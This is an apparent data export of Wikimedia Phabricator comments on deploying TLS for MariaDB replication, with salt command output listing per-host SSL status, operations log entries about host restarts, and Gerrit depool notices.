db1057.eqiad.wmnet:            Master_SSL_Allowed: Yes
db2045.codfw.wmnet:            Master_SSL_Allowed: Yes
es2016.codfw.wmnet:            Master_SSL_Allowed: Yes
db1024.eqiad.wmnet:            Master_SSL_Allowed: Yes
es2015.codfw.wmnet:            Master_SSL_Allowed: Yes
db1093.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1085.eqiad.wmnet:            Master_SSL_Allowed: Yes
db2029.codfw.wmnet:            Master_SSL_Allowed: Yes
db2038.codfw.wmnet:            Master_SSL_Allowed: Yes
db2058.codfw.wmnet:            Master_SSL_Allowed: Yes
db2049.codfw.wmnet:            Master_SSL_Allowed: Yes
db2052.codfw.wmnet:            Master_SSL_Allowed: Yes
db1065.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1033.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1070.eqiad.wmnet:            Master_SSL_Allowed: Yes
es1013.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1023.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1081.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1054.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1066.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1022.eqiad.wmnet:            Master_SSL_Allowed: Yes
db2033.codfw.wmnet:            Master_SSL_Allowed: Yes
db2057.codfw.wmnet:            Master_SSL_Allowed: No
db2034.codfw.wmnet:            Master_SSL_Allowed: Yes
es1019.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1062.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1087.eqiad.wmnet:            Master_SSL_Allowed: Yes
db2050.codfw.wmnet:            Master_SSL_Allowed: Yes
db2066.codfw.wmnet:            Master_SSL_Allowed: Yes
db2035.codfw.wmnet:            Master_SSL_Allowed: Yes
db2028.codfw.wmnet:            Master_SSL_Allowed: Yes
db2017.codfw.wmnet:            Master_SSL_Allowed: Yes
db2016.codfw.wmnet:            Master_SSL_Allowed: Yes
db2036.codfw.wmnet:            Master_SSL_Allowed: Yes
db2018.codfw.wmnet:            Master_SSL_Allowed: Yes
db1041.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1021.eqiad.wmnet:            Master_SSL_Allowed: Yes
db2043.codfw.wmnet:            Master_SSL_Allowed: Yes
es2017.codfw.wmnet:            Master_SSL_Allowed: Yes
db2056.codfw.wmnet:            Master_SSL_Allowed: Yes
db2062.codfw.wmnet:            Master_SSL_Allowed: Yes
db2039.codfw.wmnet:            Master_SSL_Allowed: Yes
db1090.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1044.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1035.eqiad.wmnet:            Master_SSL_Allowed: Yes
db2041.codfw.wmnet:            Master_SSL_Allowed: Yes
es1015.eqiad.wmnet:            Master_SSL_Allowed: Yes
db2068.codfw.wmnet:            Master_SSL_Allowed: Yes
db1075.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1039.eqiad.wmnet:            Master_SSL_Allowed: Yes
db2042.codfw.wmnet:            Master_SSL_Allowed: Yes
```
",,,1486574259,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,5.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8636363636363636,"Enabled everywhere except on db1034 and db2057, which probably require a package upgrade.

``CODE``
"
805791,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoerpJFHQCSeVEJfJQP} [2017-02-08T17:04:01Z] <jynus> rolling restart of replication thread of 29 mysql hosts T111654",,,1486573442,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,3.6097560975609757,0.8536585365853658,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-02-08T17:04:01Z] <jynus> rolling restart of replication thread of 29 mysql hosts T111654"
805779,Set up TLS for MariaDB replication,"TLS is now deployed on all core servers:
```
root@neodymium:~$ sudo salt --output=txt -C 'G@cluster:mysql and G@mysql_group:core' cmd.run 'mysql -BN --skip-ssl -e ""SELECT @@ssl_ca""'
db1071.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1041.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1030.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1045.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1037.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1076.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1022.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1067.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1092.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1074.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1063.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1029.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1084.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1082.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1091.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
es1018.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1015.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1077.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1080.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
es1012.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1090.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1061.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1089.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1083.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1052.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
es1013.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1068.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1060.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1081.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
es1011.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1094.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1053.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1086.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1087.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1054.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1051.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1070.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1085.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1073.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1078.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1079.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1093.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1075.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
es1015.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1088.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
es1016.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1065.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1033.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1028.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1057.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1056.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1062.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1050.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1024.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1035.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1059.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
es1014.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1026.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1023.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1018.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1039.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
es1019.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1064.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1040.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1031.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1021.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1036.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1044.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1034.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1066.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2029.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
es2011.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
es2018.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2067.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2038.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2019.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2041.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
es2019.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
es2013.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2063.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2045.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2017.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2065.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2064.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1049.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2048.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2058.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2042.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2039.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
es2012.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2033.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2034.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2054.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2043.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2061.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
es2014.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2057.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2070.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2049.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2046.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2040.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2060.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2037.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2069.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2066.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2047.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2044.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2053.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2036.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2056.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2068.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2050.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2055.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2062.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2059.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2035.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
es1017.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2016.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2018.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2028.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1072.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2051.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2052.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1055.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db1038.eqiad.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
es2016.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
db2023.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
es2017.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
es2015.codfw.wmnet: /etc/ssl/certs/Puppet_Internal_CA.pem
```

Enabling it on all pending hosts:
```


db1028.eqiad.wmnet:            Master_SSL_Allowed: No
db1077.eqiad.wmnet:            Master_SSL_Allowed: No
db1034.eqiad.wmnet:            Master_SSL_Allowed: No
db1067.eqiad.wmnet:            Master_SSL_Allowed: No
db1044.eqiad.wmnet:            Master_SSL_Allowed: No
es1013.eqiad.wmnet:            Master_SSL_Allowed: No
db1065.eqiad.wmnet:            Master_SSL_Allowed: No
es1017.eqiad.wmnet:            Master_SSL_Allowed: No
db1078.eqiad.wmnet:            Master_SSL_Allowed: No
db1055.eqiad.wmnet:            Master_SSL_Allowed: No
db2067.codfw.wmnet:            Master_SSL_Allowed: No
db2065.codfw.wmnet:            Master_SSL_Allowed: No
db2044.codfw.wmnet:            Master_SSL_Allowed: No
db2057.codfw.wmnet:            Master_SSL_Allowed: No
db2038.codfw.wmnet:            Master_SSL_Allowed: No
db2052.codfw.wmnet:            Master_SSL_Allowed: No
db2035.codfw.wmnet:            Master_SSL_Allowed: No
db2059.codfw.wmnet:            Master_SSL_Allowed: No
db2048.codfw.wmnet:            Master_SSL_Allowed: No
db2069.codfw.wmnet:            Master_SSL_Allowed: No
db2051.codfw.wmnet:            Master_SSL_Allowed: No
db2037.codfw.wmnet:            Master_SSL_Allowed: No
db2070.codfw.wmnet:            Master_SSL_Allowed: No
db2058.codfw.wmnet:            Master_SSL_Allowed: No
db2062.codfw.wmnet:            Master_SSL_Allowed: No
db2068.codfw.wmnet:            Master_SSL_Allowed: No
db2066.codfw.wmnet:            Master_SSL_Allowed: No
db2056.codfw.wmnet:            Master_SSL_Allowed: No
db2055.codfw.wmnet:            Master_SSL_Allowed: No
```",,,1486572686,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,83,True,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.466666666666667,0.8,"TLS is now deployed on all core servers:
``CODE`CODE`CODE``"
805744,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoehXJ6HQCSeVEJfJOi} [2017-02-08T16:19:06Z] <jynus> upgrading and restarting db1030 T111654",,,1486570747,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,3.5833333333333335,0.8611111111111112,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-02-08T16:19:06Z] <jynus> upgrading and restarting db1030 T111654"
805739,Set up TLS for MariaDB replication,"Change 336636 merged by jenkins-bot:
mariadb: Depool db1030 for maintenance

[[https://gerrit.wikimedia.org/r/336636]]",,,1486570182,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.9523809523809526,0.8571428571428571,"Change 336636 merged by jenkins-bot:
mariadb: Depool db1030 for maintenance

[[GERRIT_URL]]"
805732,Set up TLS for MariaDB replication,"Change 336636 had a related patch set uploaded (by Jcrespo):
mariadb: Depool db1023 for maintenance

[[https://gerrit.wikimedia.org/r/336636]]
",,,1486569749,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.9615384615384617,0.8846153846153846,"Change 336636 had a related patch set uploaded (by Jcrespo):
mariadb: Depool db1023 for maintenance

[[GERRIT_URL]]
"
805657,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoeFiVSHQCSeVEJfJKA} [2017-02-08T14:17:32Z] <jynus> upgrading and restarting db1026 T111654",,,1486563452,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,3.5833333333333335,0.8611111111111112,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-02-08T14:17:32Z] <jynus> upgrading and restarting db1026 T111654"
805631,Set up TLS for MariaDB replication,"Change 336620 merged by jenkins-bot:
mariadb: Depool db1026 for maintenance

[[https://gerrit.wikimedia.org/r/336620]]",,,1486561075,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.9523809523809526,0.8571428571428571,"Change 336620 merged by jenkins-bot:
mariadb: Depool db1026 for maintenance

[[GERRIT_URL]]"
805607,Set up TLS for MariaDB replication,"Change 336620 had a related patch set uploaded (by Jcrespo):
mariadb: Depool db1026 for maintenance

[[https://gerrit.wikimedia.org/r/336620]]
",,,1486558268,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.9615384615384617,0.8846153846153846,"Change 336620 had a related patch set uploaded (by Jcrespo):
mariadb: Depool db1026 for maintenance

[[GERRIT_URL]]
"
805594,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVodqEDwQMK9DA-FJ_DO} [2017-02-08T12:17:30Z] <jynus> upgrading and restarting db1037 T111654",,,1486556250,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,3.5833333333333335,0.8611111111111112,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-02-08T12:17:30Z] <jynus> upgrading and restarting db1037 T111654"
805589,Set up TLS for MariaDB replication,"Change 336609 merged by Jcrespo:
mariadb: Depool db1037 for maintenance

[[https://gerrit.wikimedia.org/r/336609]]",,,1486555963,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.157894736842105,0.8421052631578947,"Change 336609 merged by Jcrespo:
mariadb: Depool db1037 for maintenance

[[GERRIT_URL]]"
805586,Set up TLS for MariaDB replication,"Change 336609 had a related patch set uploaded (by Jcrespo):
mariadb: Depool db1037 for maintenance

[[https://gerrit.wikimedia.org/r/336609]]
